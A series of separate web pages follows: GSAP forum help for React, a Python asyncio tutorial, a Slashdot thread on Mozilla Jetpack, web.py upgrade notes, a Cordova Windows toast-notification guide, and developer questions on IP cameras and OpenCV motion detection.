The only thing you have to be careful about is that if an animation is running a somehow your DOM could change and remove the tween target, be sure to kill those animations in order to prevent an error being thrown. Here is where the lifecycle methods are handy because you can use them to create the animations once the DOM has been updated and you can be sure that the elements you want to animate are present and you wont get an error or unwanted behaviour, and that you will be able to act before those elements are removed.
As you mention, seems that you've been selecting elements after those elements are rendered, so they are there and as you can see, since that's just good ol' plain javascript, it works. But is safer and more appropriate to follow each library's guides and patterns to do so.
Finally, I've check some things about React hooks but I haven't mix them with GSAP for two reasons. First, I haven't had enough time. Two, keep in mind that hooks are on the roadmap of version 17 of React, they are still a proposal and the React team is gathering information, bugs and opinions from the community as well as doing their own tests, so thechance that the API could have some major differences from what it is now is not small, so I try to stay away from using them in any type of production code. Also I don't like to invest a lot of time in things that are not even in beta or at least release candidate (RC version), because of changes in the future. But as you mention the effect hook is an easier way of triggering something because a state change. Hooks are very nice and a great addition to React and most devs I've shared some thoughts on them, are very in to hooks (they are hooked
), so they are here to stay most likely, but changes in their API will be inevitable moving toward a stable release. I'll see if I can whip something using hooks, but you caught me in a couple of bad days, so perhaps tomorrow night or Friday I could get into that. In the mean time feel free to continue the discussion here or if you want you can PM me.
Happy Tweening!!
4
Hi,
Is not very easy to get an idea of what exactly you want to do (for me at least), without a live sample to test and modify. Please try to provide a codepen sample using this base for the Morph SVG Plugin:
See the Pen RxBOrb by GreenSock (@GreenSock) on CodePen
Based on what you've posted the first idea that comes to my mind is using the mouse position to update the timeScale property of a TweenMax instance (in order to use the repeat: -1 and yoyo properties of that particular class):
Here is an approximation of an element in the center of the screen (using flex) with an endless pulse animation. The animation's timescale is updated on the mouse move event attached to the document:
See the Pen XoWBdL?editors=0010 by rhernando (@rhernando) on CodePen
Hopefully this is enough to get you started.
Happy tweening!!
6
Hi,
Is not completely clear to me what you're trying to do here.
You want to delay the animation of the x position but not the text or you want different delays for the text and the position?. Something like short delay for the text and long delay for the x position tween?.
Please clarify this in order to understand correctly what you're trying to do and how to solve the issue.
Happy Tweening!!
3
Agreed, is necessary some sample code to get the real issue you're facing.
In the mean time here is a simple example of using GSAP in a for loop changing a the string in a PIXI text instance:
See the Pen NEeMeW by rhernando (@rhernando) on CodePen
Also the issue in your code could stem from the fact that you're adding the onStart callback inside the pixi:{} config object, note that I don't use the pixi wrapper in this case, since I'm not tweening any PIXI related property, just updating the text. Try removing the onStart callback out of the pixi config object, try again and let us know how it goes.
Happy Tweening!!!
5
Hi Rick,
Well, actually passing anything between sibling components or up the chain in React and Vue is a bit complex actually, that's why you can rely on Redux, MobX and VueX. If you're starting with React, I think that @OSUblake's approach is the best. Is simple and works in the way you expect.
Right now my recommendation would be to get more familiar and comfortable with React and then move onto using Redux for more complex tasks and when your apps need to observe changes in the app's state. In that case you could use redux observable, but as I mentioned, it would be better to start with the basics of redux and then move into more advanced stuff.
You can watch this free course by Dan Abramov (creator of Redux and part of the React team) about getting started with React and Redux:
Also this article by Lin Clark is very good as well:
Happy Tweening!!!
6
Hi,
Besides @mikel's great solution for this you can see this sample I made of an endless marquee in React using the modifiers plugin. It shouldn't be too complicated to port this to Vue though and using Draggable to control the position of the elements:
See the Pen RVLBGJ?editors=0010 by rhernando (@rhernando) on CodePen
5
Hi,
Without more info about other libraries/frameworks you're using, my guess is that you're using webpack or a CLI that uses webpack for the build process. So perhaps this has to do with tree shaking:
Scroll down a bit and you'll find the tree shaking part.
If this doesn't help, please provide more details about what you're doing, your setup and perhaps a reduced live sample or a setup file to take a look in our local environments for testing.
Happy Tweening!!
5
- 7 minutes ago, PointC said:
I can't believe you used the word canvas three times in your post and Blake didn't suddenly appear from a cloud of particles
1
5
Hi and welcome to the GreenSock forums.
Just use the componentDidMount method (careful now with calling them hooks, it can create a bit of a confusion
) and also remember that the CSS Rule needs to be wrapped in the cssRule: {} configuration object:
componentDidMount() { console.log( this.button ); const rule = CSSRulePlugin.getRule(".element:before"); console.log( rule ); TweenLite.to( rule, 1, { cssRule: { bottom: 0 }, delay: 1 }); }
I know that the norm is to use the refs for to get the DOM node, but keep in mind that pseudo elements are not DOM elements (as far as I know at least but I could be wrong about it), so there is no way to get the pseudo element the react-way soto speak. My advice would be to store the rule in the component's instance (in the constructor method) and when you need to access it just use that reference to check if it exists before using it in a GSAP instance.
This sample seems to work:
Hope that it helps you in some way.
Happy Tweening!!!
5
Well, that really looks nice!!!
Great job Beau!!!
3
1
1
3
Mhhh.... seems to work here:
Perhaps there was a momentary issue with the bundling process
3
Well @Sahil is spot on (that's why He is a superstar around here
).
The only thing I'd change is using the ref callback instead of reaching to the DOM directly. So instead of this:
componentDidMount(){ const loaderContainer = document.querySelector("#loader-container"); const loader = document.querySelector("#loader"); this.tl .to(loader, 1, { y: -250, delay: 0.3 }) .to(loaderContainer, 0.2, { alpha: 0, display: "none" }; }
I would create a reference in the constructor:
constructor(props){ super(props); this.loaderContainer = null; this.loader = null; }
Then in the render method use the ref callback:
render(){ return <div> <div ref={ e => this.loaderContainer = e }> <div ref={ e => this.loader = e }> </div> </div </div>; }
Finally in the component did mount method:
componentDidMount(){ this.tl .to(this.loader, 1, { y: -250, delay: 0.3 }) .to(this.loaderContainer, 0.2, { alpha: 0, display: "none" }; }
But beyond that small detail just do what @Sahil is doing and you'll be fine.
Happy Tweening!!
4
CSSPlugin Webpack error - Uncaught Cannot tween a null target
in GSAP
Posted
I assume that the bundling process doesn't return any errors and that the styles are being applied to the DOM.
This happens both in development and production?
In your webpack dev file I found this commented out:
So I assume that in development the CSS is being added to a <style> tag in the header section, right?.
Honestly at this point I'm a bit lost and running out of ideas, because this error: Cannot access rules, basically means that the rules plugin can't find the rule you're passing to it. I think we'll need some live sample to check.
Finally just in case, have you tried to rename the actual css class to something without any underscores?.
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Series: asyncio basics, large numbers in parallel, parallel HTTP requests, adding to stdlib
Update: see the Python Async Basics video on this topic.
Python 3’s asyncio module and the async and await keywords combine to allow us to do cooperative concurrent programming, where a code path voluntarily yields control to a scheduler, trusting that it will get control back when some resource has become available (or just when the scheduler feels like it). This way of programming can be very confusing, and has been popularised by Twisted in the Python world, and nodejs (among others) in other worlds.
I have been trying to get my head around the basic ideas as they surface in Python 3’s model. Below are some definitions and explanations that have been useful to me as I tried to grasp how it all works.
Futures and coroutines are both things that you can wait for.
You can make a coroutine by declaring it with async def:
import asyncio async def mycoro(number): print("Starting %d" % number) await asyncio.sleep(1) print("Finishing %d" % number) return str(number)
Almost always, a coroutine will await something such as some blocking IO. (Above we just sleep for a second.) When we await, we actually yield control to the scheduler so it can do other work and wake us up later, when something interesting has happened.
You can make a future out of a coroutine, but often you don’t need to. Bear in mind that if you do want to make a future, you should use ensure_future, but this actually runs what you pass to it – it doesn’t just create a future:
myfuture1 = asyncio.ensure_future(mycoro(1)) # Runs mycoro!
But, to get its result, you must wait for it – it is only scheduled in the background:
# Assume mycoro is defined as above myfuture1 = asyncio.ensure_future(mycoro(1)) # We end the program without waiting for the future to finish
So the above fails like this:
$ python3 ./python-async.py Task was destroyed but it is pending! task: <Task pending coro=<mycoro() running at ./python-async:10>> sys:1: RuntimeWarning: coroutine 'mycoro' was never awaited
The right way to block waiting for a future outside of a coroutine is to ask the event loop to do it:
# Keep on assuming mycoro is defined as above for all the examples myfuture1 = asyncio.ensure_future(mycoro(1)) loop = asyncio.get_event_loop() loop.run_until_complete(myfuture1) loop.close()
Now this works properly (although we’re not yet getting any benefit from being asynchronous):
$ python3 python-async.py Starting 1 Finishing 1
To run several things concurrently, we make a future that is the combination of several other futures. asyncio can make a future like that out of coroutines using asyncio.gather:
several_futures = asyncio.gather( mycoro(1), mycoro(2), mycoro(3)) loop = asyncio.get_event_loop() print(loop.run_until_complete(several_futures)) loop.close()
The three coroutines all run at the same time, so this only takes about 1 second to run, even though we are running 3 tasks, each of which takes 1 second:
$ python3 python-async.py Starting 3 Starting 1 Starting 2 Finishing 3 Finishing 1 Finishing 2 ['1', '2', '3']
asyncio.gather won’t necessarily run your coroutines in order, but it will return a list of results in the same order as its input.
Notice also that run_until_complete returns the result of the future created by gather – a list of all the results from the individual coroutines.
To do the next bit we need to know how to call a coroutine from a coroutine. As we’ve already seen, just calling a coroutine in the normal Python way doesn’t run it, but gives you back a “coroutine object”. To actually run the code, we need to wait for it. When we want to block everything until we have a result, we can use something like run_until_complete but in an async context we want to yield control to the scheduler and let it give us back control when the coroutine has finished. We do that by using await:
import asyncio async def f2(): print("start f2") await asyncio.sleep(1) print("stop f2") async def f1(): print("start f1") await f2() print("stop f1") loop = asyncio.get_event_loop() loop.run_until_complete(f1()) loop.close()
This prints:
$ python3 python-async.py start f1 start f2 stop f2 stop f1
Now we know how to call a coroutine from inside a coroutine, we can continue.
We have seen that asyncio.gather takes in some futures/coroutines and returns a future that collects their results (in order).
If, instead, you want to get results as soon as they are available, you need to write a second coroutine that deals with each result by looping through the results of asyncio.as_completed and awaiting each one.
# Keep on assuming mycoro is defined as at the top async def print_when_done(tasks): for res in asyncio.as_completed(tasks): print("Result %s" % await res) coros = [mycoro(1), mycoro(2), mycoro(3)] loop = asyncio.get_event_loop() loop.run_until_complete(print_when_done(coros)) loop.close()
This prints:
$ python3 python-async.py Starting 1 Starting 3 Starting 2 Finishing 3 Result 3 Finishing 2 Result 2 Finishing 1 Result 1
Notice that task 3 finishes first and its result is printed, even though tasks 1 and 2 are still running.
asyncio.as_completed returns an iterable sequence of futures, each of which must be awaited, so it must run inside a coroutine, which must be waited for too.
The argument to asyncio.as_completed has to be a list of coroutines or futures, not an iterable, so you can’t use it with a very large list of items that won’t fit in memory.
Side note: if we want to work with very large lists, asyncio.wait won’t help us here – it also takes a list of futures and waits for all of them to complete (like gather), or, with other arguments, for one of them to complete or one of them to fail. It then returns two sets of futures: done and not-done. Each of these must be awaited to get their results, so:
asyncio.gather # is roughly equivalent to: async def mygather(*args): ret = [] for r in (await asyncio.wait(args))[0]: ret.append(await r) return ret
Further reading: realpython.com/async-io-python (a very complete and clear explanation, with lots of links)
I am interested in running very large numbers of tasks with limited concurrency – see the next article for how I managed it.
6 thoughts on “Basic ideas of Python 3 asyncio concurrency”
Just what I was looking for, very nicely presented…thank you
Thanks Attila!
Andy,
Your article explains the topic in very clear and neat way.
Thank you very much.
Thanks Dmitry, glad it helped.
Wow dude. I think i might finally be able to understand async thanks to this brilliant article. Thanks a ton
Great to hear it Hamad!
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http://www.artificialworlds.net/blog/2017/05/31/basic-ideas-of-python-3-asyncio-concurrency/
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Mozilla Jetpack, an API For Standards-Based Add-Ons 42
revealingheart writes "Mozilla Labs have released a prototype extension called Jetpack: An API for allowing you to write Firefox add-ons using existing web technologies to enhance the browser (e.g. HTML, CSS and Javascript), with the goal of allowing anyone who can build a Web site to participate in making the Web a better place to work, communicate and play. Example add-ons are included on the Jetpack website. While currently only a prototype, this could lead to a simpler and easier to develop add-on system, which all browsers could potentially implement."
I want a real jetpack (Score:5, Funny)
Re: (Score:2)
You want a backpack with jets?
Who do you think you are, Boba the Fett?
Do you bounty hunt
for Jabba the Hut
to finance your 'Vette?
Say, not bad, but your scansion kinda falls apart on that last line. Maybe, "to get money to finance your 'Vette"?
Also, I'm not sure about rhyming "hunt" with "Hutt".
Re: (Score:1)
He forgot to credit MC Chris [youtube.com]
Cough*Chrome*cough (Score:2, Insightful)
Re: (Score:2)
Google, you listenin'?
Agreed!
I use IE you insensitive clod! (Score:5, Funny)
Re: (Score:2)
Re: (Score:1)
Or to implement a standard -- see ODF the Microsoft way [ibeentoubuntu.com].
Re: (Score:2)
IE IS standards-compliant, just a different set of standards...
Re: (Score:2)
Re:What? More ways to hack a browser? (Score:5, Insightful)
Just what we need - more ways to mess up a browser. I thought we were supposed to be working towards standards not adding more extensions!
The idea *is* to use standards! People already make add-ons, they might as well be interoperable too.
Does this not make sense to you?
-Taylor
got xul? (Score:2, Insightful)
Re: (Score:2)
Standards... (Score:5, Interesting)
This is great for Firefox. I really hope this takes off, pardon the unintended pun. I'm just a little leery about the other browser makers picking this up and running with it. It will need to at least be a de facto standard before Google, Apple, Opera or Microsoft even consider using it. If it's controlled by Mozilla, they're not going to want to.
Also, (at least to me) the fact that it's difficult to write an add-on for a browser if you don't have anything but basic web development skills is what add-ons so useful. You know they're probably not going to be half-baked and have someone who (hopefully) knows what they're doing supporting it. Jetpack could lower the skill set bar too low. So to sum up, great for Firefox, but I don't think this is something that will be used across browsers once it's fully implemented, which it's not (yet)
Re: (Score:1, Interesting)
It will need to at least be a de facto standard before Google, Apple, Opera...
Isn't this very similar if not the same as Opera's widgets?
They just re-invented Greasemonkey (Score:3, Insightful)
I think they just re-invented Greasemonkey. But not well.
At least with Greasemonkey, there's a well-defined language. It's all Javascript. This thing seems to have some horrible mess of intermixed Javascript, CSS, and HTML. Plus it has JQuery built in, and a special symbol ("$") for it. (For a moment, I thought I was reading Perl.)
Having done some non-trivial work with Greasemonkey [sitetruth.com], I'm not sure this thing is a step up.
Re:They just re-invented Greasemonkey (Score:4, Informative)?
Re: (Score:3, Funny)?
Not trying to be a grammar nazi, but damn I want to see what Uniformed FUD looks like. I'm thinking hiking boots, bermuda shorts, maybe one of those weird mailman safari hats...
Re: (Score:1, Interesting)
I'm not sure how you could have written any scripts in your life and actually come to this conclusion, short of never having programmed in anything other than PHP and the various "web" languages. But language diatribes aside, even if you concede that web languages are the best thing since sliced bread, this "standard" is still pretty crappy.
Re: (Score:2)
Bollocks.
Specifically including "mozilla developer favorite javascript library" is not the right thing for them to do AT ALL.
By basing this around jQuery (and it looks like the jetpack code is dependant on it rather than just "supporting" it), I believe it is is fair to say that you pretty much say to developers using mootools, or prototype or any other library (and there are many) "my way or the highway", owing
Re: (Score:2)
All you'd have to do is run:
and your DOM/JS scope is clean. So if you want to use bog standard JS or any other library, the above is all you need to know about jQuery.
The reason the Jetpack dev's probably went for jQuery is because it is small, plays nice with other librar
Re: (Score:1)
The reason the Jetpack dev's probably went for jQuery is because it is small, plays nice with other libraries and is easily extensible.
And, for the above reasons, it is common for web oriented devs to be at least a little familiar with it already (which should reduce the severity of the average learning curve, making the new feature more likely to gain a critical mass of followers).
Re: (Score:2)
jQuery solves a totally different problem than prototype.. prototype is a bucket of widgets, whereas jQuery is more like a ruby-extension to javascript. It allows you to program in an expressive meta-language. This happens to make widgets easier to build as well, but the key is your custom API on top of library X,Y,Z can be coded using jQuery. I do this with Yahoo YUI all the time, for example.
Can't speak to mootools. But with a few exceptions, jQuery can work in conjunction with other javascript framewo
Re:They just re-invented Greasemonkey (Score:4, Insightful)
1 Mozilla uses Javascript for all addons, so I guess they have some idea of it.
2 You can't program native UI-Elements with Greasemonkey, and even if, they would live inside the website as Greasemonkey is more for "patching" existing websites.
Browser addons should survive a website navigation.
This thing seems to have some horrible mess of intermixed Javascript, CSS, and HTML.
This is called the web.
Re: (Score:1)
Uhm, "$" is not a "special symbol". It's a valid symbol that can be used in any Javascript variable names.
Re: (Score:2)
Poster is talking regards jQuery, and other javascript libraries, which typically use a function named "$" to select & augment elements from the dom.
By using jQuery and thus polluting the global function namespace in this manner, they exclude the ability to use other javascript libraries.
Re: (Score:2, Insightful)
That may be a valid criticism, but "For a moment, I thought I was reading Perl" indicates ignorance of JS in general?
Re: (Score:2)
Just enable jQuery.noConflict() then use jQuery.foo() like I do.
Oh great... (Score:1, Funny)
THATS GREAT!!!
Re: (Score:3)
So now I can have a badly coded addon that spans 5 horizontal widths, has tons of flash advertisements, and a <blink> tag?
THATS GREAT!!!
You see, the reason it's an add-on is because it's OPTIONAL!!!
Idiot.
The solution: (Score:1)
obligatory (Score:1, Funny)
my backpack's got jets!
Re: (Score:2)
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http://tech.slashdot.org/story/09/05/21/1845245/Mozilla-Jetpack-an-API-For-Standards-Based-Add-Ons?art_pos=1
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Web.py 0.3 has some backward-incompatible changes.
- prints are replaced by return statements
- new application framework
- new database system
- http errors are exceptions
- other incompatible changes
prints are replaced by return statements
In earlier versions of web.py the GET and POST methods used to print the data to be send to the client. Now instead of printing the data, the data must be returned from that function. This makes post-processing of returned data possible.
If your old code is like this:
class hello: def GET(self): print "Hello, world!"
It should become:
class hello: def GET(self): return "Hello, world!"
yield statements can also be used to return an iterator.
class hello: def GET(self): for i in range(5): yield "hello " + str(i)
new application framework
New application framework has been introduced in web.py 0.3 and due to that there is a slight change in the way the program's main section is written.
If your old code has:
urls = ("/", "index") .... if __name__ == "__main__": web.run(urls, globals())
It should become:
urls = ("/", "index") app = web.application(urls, globals()) .... if __name__ == "__main__": app.run()
new database system
The database module of web.py has been improved to make it more modular.
If you have code like this:
web.config.db_parameters = dict(dbn='postgres', db='test', user='joe', password='secret') def foo(): web.insert('test', name='foo')
It should become:
db = web.database(dbn='postgres', db='test', user='joe', password='secret') def foo(): db.insert('test', name='foo')
Same applies to other database functions like
update,
delete and
query.
If you are using transactions, they should be changed too.
def foo(): web.transact() web.insert('t1', name='foo') web.insert('t2', name='bar') web.commit()
should become:
def foo(): t = db.transaction() db.insert('t1', name='foo') db.insert('t2', name='bar') t.commit()
If you are using python 2.5 or later, transactions can be used with
with statement.
def foo(): with db.transaction(): db.insert('t1', name='foo') db.insert('t2', name='bar')
http errors are exceptions
In 0.3, all http errors have been changed to exceptions.
If you have code like this:
def GET(self): .... if not page: web.notfound() else: ....
It should become:
def GET(self): .... if not page: raise web.notfound() else: ....
Other incompatible changes
In web.py 0.3,
web.input() returns values in unicode. This may create trouble sometimes.
To force
web.input to return strings instead of unicode values, use:
web.input(_unicode=False)
[edit][history][backlinks] last modified May 1
|
http://webpy.org/docs/0.3/upgrade
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We have already talked multiple times about toast notifications on Windows 10 on this blog. Very recently, we have learned how to implement them in a Progressive Web App.
In this post I would like to show you how to do the same in a Cordova app and how to solve some issues you may face have when you try to release your application on the Microsoft Store.
The Cordova project
Cordova (formerly know as PhoneGap) is a framework to build cross-platform applications using web technologies. The Cordova approach can be summarized as "write once, run everywhere". You define the user interface using HTML and CSS, while the logic is developed in JavaScript. The same code is leveraged by Windows, Android and iOS, since the app basically runs inside the WebView control offered by the various platforms.
Cordova is able to take the same code and use it to build a project for each supported platform, using the native tools. For example, when you use Cordova to build a Windows project, you get as output a UWP project based on JavaScript that you can open in Visual Studio. When you build, instead, the iOS project, you get as output a XCode project.
The way Cordova exposes native features of the platform is through plugins. A plugin is a component made by:
- A native library, one for each platform, which contains the specific code to leverage the feature using native code (C# in Windows, Java in Android, Objective-C in iOS)
- A shim, which exposes the feature using JavaScript
The only part you need to care for your Cordova app is the shim, since it contains the JavaScript helpers you're going to use to leverage the feature. For example, if you want to get the current location of the user, the code you're going to write will look like this:
navigator.geolocation.getCurrentPosition(onSuccess, onError);
Under the hood, when you build the project, let's say, for Windows, Cordova will take care of merging the base Windows project with the Windows version of the plugin, which uses the geolocation APIs exposed by the Universal Windows Platform.
The Cordova plugin ecosystem is quite rich, even if not all of them support every platform. Some of the plugins are developed directly by Cordova, some others instead by the community. They are usually available as NPM packages (since the command-line version of Cordova is based on Node.js) or directly on GitHub.
If we want to include notifications support in our Cordova app, we can get some help from the plugin community. Specifically, we can incorporate a plugin called cordova-plugin-local-notifications, which is available on NPM and GitHub.
Let's see how to use it and, most of all, how to solve a tricky problem that we may face while building the final version of our application for the Store.
Creating the Cordova project
Visual Studio includes full support for Cordova, thanks to a set of tools that were integrated inside the IDE a few years back. If you want to use them, make sure that in your Visual Studio setup you have enabled the feature Mobile development with JavaScript:
After you have installed the tools, you will find the Cordova template under JavaScript -> Mobile Apps -> Blank App (Apache Cordova).
To add the notifications plugin, we need to double click on the config.xml file. One of the benefits of using the Visual Studio tools for Cordova is that they give you a visual editor for the configuration file, which otherwise would require to manually edit the XML.
Move to the Plugins section and then choose Git. Specify as URL the the GitHub repository () and then press the little arrow near the box. After a while Visual Studio should find the plugin and offer you the option to install it:
Choose Add and, after a few seconds, the plugin will be installed and ready to use.
Please note Make sure too add the plugin directly from the GitHub repository and not from NPM. The latter, in fact, is based on a previous version which will give you an error when you will try to use the plugin on Windows, due to the missing Microsoft.Toolkit.Notifications.Uwp library.
The purpose of this blog is how to solve a problem you may hit while preparing your app for publishing, so I won't explore all the different options you have to handle push notifications. I will just add a button the main page which will trigger a toast notification, which will be immediately displayed. To achieve this goal, I'm going to add a new button inside the default main page which is part of the standard Cordova template. You can find it under www -> index.html.
Here is the updated code of the body of the page:
<div class="app"> <h1>Apache Cordova</h1> <div id="deviceready" class="blink"> <p class="event listening">Connecting to Device</p> <p class="event received">Device is Ready</p> <button id="sendNotificationButton">Send notification</button> </div> </div>
Now let's open the file index.js under www -> scripts, which is the place where to add the JavaScript code we want to leverage from the main page. Inside the main function we're going to add a new one called sendNotification(), which will use the plugin we have just added to our project:
function sendNotification() { cordova.plugins.notification.local.schedule({ title: 'My first notification', text: 'Thats pretty easy...', foreground: true });
The code is pretty straightforward. We simply set the title and the text of the notification and we specify we want to display it in foreground. Since we haven't specified a date and time or a recurrence, the notification will be displayed immediately.
Then, inside the onDeviceReady() function (which is invoked when the application has completed the bootstrap process), we're going to hook this new function to the button we have added in the HTML page:
document.getElementById("sendNotificationButton").addEventListener("click", sendNotification)
That's it! Now from Visual Studio choose Windows-x86 as target platform and press F5 to launch it. If you have done everything right, after pressing the button in the main page you should see a toast notification popping out in the bottom right corner of your screen:
Prepare for publishing
When you're ready to publish your application (either manually or on the Microsoft Store), you can use the same workflow you use with a traditional UWP application. Just right click on the project in Visual Studio, choose Store -> Create App packages and follow the wizard.
However, if you try to deploy the package created during the process, you will notice something weird when you press the button to trigger the notification:
As you can see from the image, the title and the text of the notification aren't anymore the values I've defined in the sendNotification() function. The title has been replaced by the name of the application, while the text by a generic "New notification" text.
What's wrong? The culprit here is .NET Native compilation or, to be more precise, the lack of a configuration file in the Windows project created by Cordova during the build process. .NET Native is a new compilation technique adopted by UWP apps, which helps to deliver faster apps with a reduced memory footprint. This is achieved by compiling the managed code directly in native code. This is the reason why the package creation process takes so long. Packages, in fact, are compiled in Release mode, which enables .NET Native by default. When you're in the development phase, instead, the app is compiled by default in Debug mode, which keeps .NET Native disabled in order to speed up the compilation and debugging times.
This is the reason why, when we tested the app before, we couldn't see the problem. When we pressed F5 in Visual Studio, we launched it in Debug mode and, as such, everything was working as expected. As soon as you create the package for the Store (or you simply switch to Release as compilation mode in Visual Studio), the notification will start to pop up with the wrong values.
Why is .NET Native causing this? The reason is that (as well explained here) .NET Native links implementation code into your app only if it knows that your app actually invokes that code. If it's not obvious that your application requires some the metadata or the implementation code, native application might be built without it. What's happening is that, since Visual Studio isn't aware of the usage of the plugin (the merging of the platform specific plugin's code with the base Cordova platform happens during the Cordova build process), it isn't including all the required classes in the generated native code. As such, the title and the text properties of the toast notification object are ignored.
The way UWP apps deal with this is by adding a Runtime Directives file (rd.xml) to the project, with all the information about which program elements are available for reflection. The reason why this problem is happening is that the default Cordova project for Windows lacks this file and, as such, ignores all the custom types defined by the notification plugin.
In order to fix this, we need to build the Cordova project for Windows at least once. This will trigger the download, inside the platforms folder of your application, of the base Windows project leveraged by Cordova. After that, open the folder which contains your project and move to platforms -> windows. Open with Visual Studio the solution called CordovaApp.sln. You won't be able to load two projects of the solution: CordovaApp.Windows and CordovaApp.Phone. This is expected because they're, respectively, the Windows 8.1 and the Windows Phone 8.1 project. Visual Studio 2017 doesn't include support for them. However, it isn't a problem because we're working on a UWP app, so we need to focus on the CordovaApp.Windows10 project.
Right click on it and choose Add -> New item. Look for the XML File template and name it Default.rd.xml. Copy and paste inside it the following content:
<!-- This file contains Runtime Directives used by .NET Native. The defaults here are suitable for most developers. However, you can modify these parameters to modify the behavior of the .NET Native optimizer. Runtime Directives are documented at To fully enable reflection for App1.MyClass and all of its public/private members <Type Name="App1.MyClass" Dynamic="Required All"/> To enable dynamic creation of the specific instantiation of AppClass<T> over System.Int32 <TypeInstantiation Name="App1.AppClass" Arguments="System.Int32" Activate="Required Public" /> Using the Namespace directive to apply reflection policy to all the types in a particular namespace <Namespace Name="DataClasses.ViewModels" Seralize="All" /> --> <Directives xmlns=""> <Application> <!-- An Assembly element with <!-- Add your application specific runtime directives here. --> </Application> </Directives>
With this configuration file we're simply telling to the .NET Native compiler that we want to enable reflection for all the assemblies included in the application package. Now close the solution and go back to your Visual Studio instance with your Cordova's application opened. Build it again choosing Release as compilation mode and Windows-x86 as target, then press F5. If you have done everything properly, the application will now work as expected and the content of the notification will be the one you have specified in the function's code.
Wrapping up
In this post we have seen how to support toast notifications in a Cordova app for Windows 10. Thanks to a community plugin the procedure is pretty easy, however there are a couple of issues you may face and the requires a couple of workarounds:
- Make sure to clone the plugin directly from GitHub, since the NPM version misses a library which is required by the Windows build
- You need to add a Runtime Directive file to the Windows project, otherwise the .NET Native compilation ignores the custom classes defined by the notification plugin.
Happy coding!
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https://blogs.msdn.microsoft.com/appconsult/2018/06/25/show-a-toast-notification-in-a-cordova-app-on-windows-10-with-the-proper-title-and-text/
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How to control an IP camera from my Android Studio app
I'm building an Android Studio app that allows users to access an IP camera via a P2P connection. From reading Android Studio's MediaPlayer guide, I understand how to display a video feed from an external url. I'm wondering how I can add functionalities that allow the user to control the camera. The camera is a Foscam R2/R4 that comes with its own app. Through the app, you can receive motion and sound alerts and you can pan, tilt and zoom. I'm wondering how I can implement these features in my app. I found this guide on the Visualizer class, which I think I can use to detect sounds in the video feed, but I'm not sure how to detect motion or control the camera. Is there a way to do that?
Edit: I found this question where someone refers to this doc. It seems like this could be the solution to my question. assign Run button in Android Studio to Run 'app'?
I followed these steps to run
signingReportin order to get the SHA1 fingerprint of my debug.keystore .
However, it's left me with the problem that whenever I click the green arrow Run button in Android Studio, it runs
How can I make it so the green arrow Run button will install and run my app again like it used to?
-.
- How to Slim Down App Size - Android Studio 3.0.1
how come empty activity is of 6-7 mb?
how to reduce the app size further after applying progaurd, minifyenable and shrink? Is is possible to make default empty activity under500kb or so? Any step by step procedures or tutorials would be helpful.
- Is it possible to grab a single image from an IP Camera stream (ONVIF)?
I have a web application that needs to grab an image from an IP camera within the network. is this possible using PHP? or at least JS? Just need the web application to grab and save images off the IP camera. I have been able to do this using WEBCAMS (thru USB webcam) but not sure how to do this using an actual IP camera. Would love it also if there's an already available script (Free or paid) to do this..
Any help would really be appreciated!
PS camera also has RSTP support... if that makes it easier to achieve the same outcome...
- IP Cameras with build in server v/s NVR with build in server
We are a small start up working with a bunch of IP Cameras. Our requirement is to pull IP Camera stream to AWS. We achieved this after playing around with a bunch of IP Cameras from various different companies.
our main issue, we encountered was configuring the IP Camera for port opening, port forwarding etc. Most IP Camera companies are providing an app and letting users to view the video. But most of these apps don't let us to configure the IP Camera such as port opening, port forwarding etc. we have our own app connected to AWS. We don't want to use the apps provided by IP Camera companies. We want to just configure IP Camera using the build in web server and pull the video stream.
So its very tough to figure it out, which IP Cameras have build in server ? Most of them are not explicitly mentioning anything about build in server. Most IP cameras with Build in servers are a bit pricey relative to normal IP Cameras (i.e., with out IP Cameras).
The other thought we found on internet is, Most NVRs have build in server it seems. I am not sure. I am a newbie to this field. So instead of spending more amount on IP Cameras with build in server for each. We thought of purchasing an NVR with build in server and connect normal IP Cameras ( with out any build in server). We would like to know, which is the correct approach? Do NVRs allow to configure each IP Camera for basic stuff like port openings, forwarding etc.
- Detect Basic Change in Video using OpenCV
Trying to recreate a basic change detection program I got from a great blog done by Adrian Rosebrock (if looking to get into python and OpenCV go here). The code was designed in python and I am trying to convert it to C++. You can find the blog post here. My struggle is with the
absdiff(firsFrame, gray, imageDifference)as every iteration of the loop has firstFrame and gray being equal. I think the problem is either where I initialize
firstFrame = graybut I did a
coutcheck to see how many times it is hit so not sure. Here is code:
int min_area = 500; //min area of motion detectable //get camera operational and make sure working correctly VideoCapture camera(0); if(!camera.isOpened()){ cout << "cannot open camera" << endl; return(1); } Mat firstFrame, gray, imageDifference, thresh; vector<vector<Point> > contours; vector<Vec4i> hierarchy; while(true){ Mat frame; camera.read(frame); if(frame.empty()){ cout << "frame was not captured" << endl; return(2); } //pre processing //resize(frame, frame, Size (1200,900)); cvtColor(frame, gray, COLOR_BGR2GRAY); GaussianBlur(gray, gray, Size( 21, 21 ), 0, 0 ); //initrialize first frame if necessary if(firstFrame.empty()){ cout << "hit" << endl; firstFrame = gray; continue; } //get difference absdiff(firstFrame, gray, imageDifference); threshold(imageDifference, thresh, 25, 255, THRESH_BINARY); //fill in holes dilate(thresh, thresh, Mat(), Point(-1, -1), 2, 1, 1); findContours(thresh, contours, hierarchy, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_SIMPLE); //loop over contours for(int i = 0; i < contours.size(); i++){ //get the boundboxes and save the ROI as an Image if (contourArea(contours[i]) < min_area){ continue; } Rect boundRect = boundingRect( Mat(contours[i])); rectangle( frame, boundRect.tl(), boundRect.br(), (0,255,0), 1, 8, 0 ); } //draw everything imshow("Security feed", frame); imshow("Thresh", thresh); imshow("Difference", imageDifference); if (waitKey(30) >= 0) break; } camera.release(); destroyAllWindows(); return(0);
- Motion Tracking in opencv python
So I have been trying to make a motion tracker to track a dog moving in a video (recorded Top-down) retrieve a cropped video showing the dog and ignore the rest of the background.
I tried first with object tracking using the available algorithms in opencv 3 (BOOSTING, MIL, KCF, TLD, MEDIANFLOW, GOTURN(returns an error, couldn't solve it yet)) from this link and I even tried a basic algorithm for motion tracking by subtracting the first frame, but none of them gives a good result. Link
code 1 for object tracking:
